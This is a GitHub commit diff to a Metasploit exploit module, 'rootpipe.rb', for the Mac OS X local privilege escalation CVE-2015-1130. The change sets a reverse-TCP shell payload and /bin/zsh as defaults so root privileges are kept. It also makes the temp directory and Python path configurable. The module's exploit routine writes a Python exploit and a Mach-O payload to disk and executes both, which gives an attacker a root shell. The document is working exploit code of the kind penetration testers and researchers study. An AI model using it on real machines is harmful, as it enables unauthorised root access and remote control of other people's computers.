Skip to content

Commit a7601c1

Browse files
committed
Use zsh to avoid dropping privs
Also add some configurable options.
1 parent 4cc6ac6 commit a7601c1

File tree

1 file changed

+13
-4
lines changed

1 file changed

+13
-4
lines changed

modules/exploits/osx/local/rootpipe.rb

Lines changed: 13 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,17 @@ def initialize(info = {})
4242
'Targets' => [
4343
['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
4444
],
45-
'DefaultTarget' => 0
45+
'DefaultTarget' => 0,
46+
'DefaultOptions' => {
47+
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
48+
'CMD' => '/bin/zsh'
49+
}
4650
))
51+
52+
register_options([
53+
OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
54+
OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
55+
])
4756
end
4857

4958
def check
@@ -58,8 +67,8 @@ def exploit
5867
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
5968
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
6069
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
61-
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
62-
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
70+
exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
71+
payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
6372

6473
print_status("Writing exploit file as '#{exploit_file}'")
6574
write_file(exploit_file, python_exploit)
@@ -70,7 +79,7 @@ def exploit
7079
register_file_for_cleanup(payload_file)
7180

7281
print_status('Executing payload...')
73-
cmd_exec("python #{exploit_file} #{payload_file} #{payload_file}")
82+
cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
7483
cmd_exec(payload_file)
7584
end
7685

0 commit comments

Comments
 (0)